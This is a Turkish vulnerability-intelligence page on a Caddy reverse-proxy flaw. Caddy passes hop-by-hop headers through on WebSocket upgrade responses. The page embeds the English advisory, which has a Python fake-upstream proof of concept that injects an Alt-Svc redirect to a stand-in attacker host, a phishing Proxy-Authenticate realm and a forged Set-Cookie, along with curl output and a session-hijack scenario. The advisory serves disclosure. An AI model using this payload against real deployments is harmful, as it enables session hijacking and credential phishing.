Caddy has an RFC 7230 §6.1 compliance issue / Hop-by-hop headers that leak through
CVSS Skor
—
EPSS İhtimal
—
Risk Skoru
—
Yayın
2 sa önce
Resmî kaynaklarda yeterli kanıt bulunamadı. Bu sonuç “yama yok” anlamına gelmez.
Envanterimdeki Etkisi
Yalnızca hesabınıza eklediğiniz kişisel ürünler değerlendirilir; kurumsal envanter burada görünmez.
Oturum kontrol ediliyor…
Zafiyet Açıklaması
DayBreach AI Açıklaması
Kaynakla doğrulandıOkunan kaynak
1
Kaynak uyumu
Tam uyum
Kanıt güveni
%55
Kısa açıklama
Caddy ters vekili, WebSocket yükseltme (HTTP 101 Switching Protocols) işlemleri sırasında RFC 7230 hop-by-hop başlıklarını akış yanıtlarından ayıklayamaz.
Bu güvenlik açığı, saldırganların istemci yanıtlarına başlık enjekte etmesine, bağlantı ele geçirme ve kimlik avı saldırıları gerçekleştirmesine olanak tanır.
Ne yapılmalı?
- Satıcı danışma belgelerini takip edin
- İlgili güncellemeleri ve yamaları uygulayın
Kanıt zinciri ve kaynaklar
Caddy ters vekili, WebSocket yükseltmeleri sırasında RFC 7230 hop-by-hop başlıklarını filtreleyememektedir.
HTTP 101 Switching Protocols yanıt yolu, başlık temizleme işleminden önce erken dönüş yapmaktadır.
Kaynaklardaki teknik metni göster
### AI Disclosure This vulnerability was discovered via deepseek-v4-pro[1m] for finding potential vulnerabilities / inconsistencies in the code base. I made the AI check if Caddy is compliant with various RFCs, incl. 7230. I also used it to help write the PoC, since it was honestly much faster than writing it by hand. I also let it write parts of this advisory text for brevity's sake, but had to rewrite half of it by hand. ### Summary Caddy's reverse proxy fails to strip RFC 7230 hop-by-hop headers from upstream responses when handling WebSocket upgrades (HTTP 101 Switching Protocols). Headers including `Alt-Svc`, `Keep-Alive`, `Proxy-Authenticate`, `Transfer-Encoding`, or `Trailer`, which Caddy actually correctly strips for normal HTTP responses, pass through unfiltered to the client during protocol upgrades. An upstream that sets these headers (intentionally or otherwise) can inject them into client responses, enabling connection hijacking via `Alt-Svc`, cookie injection via `Set-Cookie`, and proxy authentication phishing. The normal response path in `finalizeResponse` correctly strips all hop-by-hop headers before forwarding, but the 101 code path returns early, skipping the stripping entirely. ### Details In `modules/caddyhttp/reverseproxy/reverseproxy.go`, the `finalizeResponse` method (line 1178) handles upstream responses. For all normal responses, it strips hop-by-hop headers before copying to the client: ```go // reverseproxy.go:1194-1198 removeConnectionHeaders(res.Header) for _, h := range hopHeaders { res.Header.Del(h) } ``` However, the 101 Switching Protocols check at line 1187 returns before this stripping code: ```go // reverseproxy.go:1186-1192 if res.StatusCode == http.StatusSwitchingProtocols { var wg sync.WaitGroup h.handleUpgradeResponse(logger, &wg, rw, req, res) wg.Wait() return nil // <-- returns BEFORE removeConnectionHeaders and hopHeaders loop } ``` Inside `handleUpgradeResponse` (`streaming.go:60-91`), all upstream response headers are copied to the client without any hop-by-hop filtering: ```go // streaming.go:88-91 copyHeader(rw.Header(), res.Header) // copies ALL upstream headers normalizeWebsocketHeaders(rw.Header()) // only remaps Sec-WebSocket-* keys ``` The `normalizeWebsocketHeaders` function (line 714) only handles WebSocket-specific header key mapping (`Sec-Websocket-*` to `Sec-WebSocket-*`). It does not strip hop-by-hop headers. #### Hop-by-Hop Headers That Leak Through Defined at `reverseproxy.go:1681-1692`: ``` Alt-Svc, Connection, Proxy-Connection, Keep-Alive, Proxy-Authenticate, Proxy-Authorization, Te, Trailer, Transfer-Encoding, Upgrade ``` All 10 are stripped from normal responses. **None** are stripped from WebSocket upgrade responses. For HTTP/2 and HTTP/3 WebSocket connections (extended CONNECT with `:protocol: websocket`), Caddy converts the upstream's 101 into a `200 OK` for the client (`streaming.go:99-104`). The leaked headers arrive in a standard HTTP 200 response that browsers fully process, making `Alt-Svc` hijacking and `Set-Cookie` injection practically exploitable. Normal (200): `removeConnectionHeaders()` runs, `hopHeaders` loop runs -> headers stripped Upgrade (101): `handleUpgradeResponse()` runs, returns early -> headers are NOT stripped This is the only response code path in the reverse proxy that bypasses hop-by-hop header stripping. ### PoC Caddy config: ``` :8080 { reverse_proxy localhost:8083 } ``` Script: ```python import socket UPSTREAM = ( b"HTTP/1.1 101 Switching Protocols\r\n" b"Upgrade: websocket\r\n" b"Connection: Upgrade\r\n" b"Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=\r\n" b"Alt-Svc: h2=\"attacker.example.com:443\"; ma=86400\r\n" b"Keep-Alive: timeout=999\r\n" b"Proxy-Authenticate: Basic realm=\"phish\"\r\n" b"Set-Cookie: injected=malicious; Path=/\r\n" b"\r\n" ) s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", 8083)) s.listen(1) conn, _ = s.accept() conn.send(UPSTREAM) ``` Curl: ```bash curl -v \ -H "Upgrade: websocket" \ -H "Connection: Upgrade" \ -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \ -H "Sec-WebSocket-Version: 13" \ http://localhost:8080/ws 2>&1 ``` Output: ``` < HTTP/1.1 101 Switching Protocols < Alt-Svc: h2="attacker.example.com:443"; ma=86400 < Connection: Upgrade < Keep-Alive: timeout=999 < Proxy-Authenticate: Basic realm="phish" < Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= < Server: Caddy < Set-Cookie: injected=malicious; Path=/ < Upgrade: websocket ``` `Alt-Svc`, `Keep-Alive`, and `Proxy-Authenticate` are hop-by-hop headers that MUST NOT be retransmitted by proxies per RFC 7230 §6.1. They all appear in the response. Same upstream, same headers but on a 200 response. Caddy strips `Alt-Svc` correctly: ```bash curl -v http://localhost:8080/ # Alt-Svc is absent ``` ### Impact This is a hop-by-hop header leakage vuln (I think CWE-444 fits closest?). The proxy fails to enforce the RFC 7230 §6.1 requirement that hop-by-hop headers must not be forwarded across proxy boundaries. Any Caddy deployment that proxies WebSocket connections, especially those using HTTP/2 or HTTP/3 (where the 101-to-200 conversion makes headers fully processable by browsers) has this issue. How an attack might look: A company serves app.example.com behind Caddy, with HTTP/2 enabled. The app uses WebSockets for real-time notifications (i.e. every page load opens one). The upstream app gets compromised (unpatched CMS plugin, leaked CI credential, dependency confusion). The attacker adds one line to the WebSocket handler: Set-Cookie: session=hijack; Path=/. Now every visitor to app.example.com gets the attacker's session cookie written into their browser. The app uses the session cookie as the sole authentication token. When a user reloads the page or navigates to another part of the app, their browser sends session=hijack along with the request. The attacker submits the same value from their own browser. They get logged in as that user. Caddy strips this header on normal HTTP responses. It strips hop-by-hop headers on the request side, basically everywhere except this path. ### Suggested Fix I'll add my fix to the branch in this security advisory. ### Contact Details If you find this find worth your time you can contact me under d.ramadani@ieee.org or +43 (677) 63 397 910. In case this is something that will go public I'd be happy to be mentioned under my real name, Dionis Ramadani. Thank you for taking the time, I hope this is something interesting for you.
CWE: CWE-444
Açıklama kaynak kayıtlardan otomatik derlendi. Puanlar, aktif sömürü, yama ve exploit durumları doğrudan kaynaklardan gelir.
IMPACT — Etkilenen Ürünler ve Yazılımlar
Affected Products
The following products are affected by CVE-2026-55458 vulnerability. Even if our threat engine is aware of the exact versions of the products that are affected, the information is represented below.
| ID | VENDOR | PRODUCT | ACTION |
|---|---|---|---|
| 1 | go | github.com/caddyserver/caddy/v2 | İncele |
RED HAT CSAF/VEX — Ürün Etki Kontrolü
SCORING — CVSS Çoklu Kaynak Skoru
CVSS Scores
The Common Vulnerability Scoring System is a standardized framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from various sources for each CVE.
| SCORE | VERSION | SEVERITY | VECTOR | SOURCE |
|---|---|---|---|---|
| 2.9 | CVSS 4.0 | — | Vektör yayımlanmadı | GitHub Advisory |
Yama ve İyileştirme Rehberi (Solution)
Solution & Remediation Advisory
İncelenen resmî kaynaklarda yama durumu doğrulanamadı. Bu sonuç “yama yok” anlamına gelmez.
Public exploit ve aktif sömürü durumu
Doğrulanmış exploit istihbaratı
Bu CVE için henüz doğrulanmış public PoC, exploit repository’si veya Metasploit modülü bulunamadı.
Zafiyet Dağılımı ve Saldırı Kalıpları (CWE & CAPEC)
CWE - Common Weakness Enumeration
While CVE identifies specific instances of vulnerabilities, CWE categorizes the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-55458 is associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-55458 weaknesses.
Resmi Kaynaklar ve Danışma Bültenleri
İlgili Benzer Açıklar
Bu açığı API ile alın
Etkilenen ürünler, sürüm aralıkları, istismar durumu ve yama bilgisi tek istekte; ücretsiz anahtarla.
curl -H "x-api-key: $DAYBREACH_API_KEY" \ "https://api.daybreach.dev/api/v1/intel/cves/CVE-2026-55458"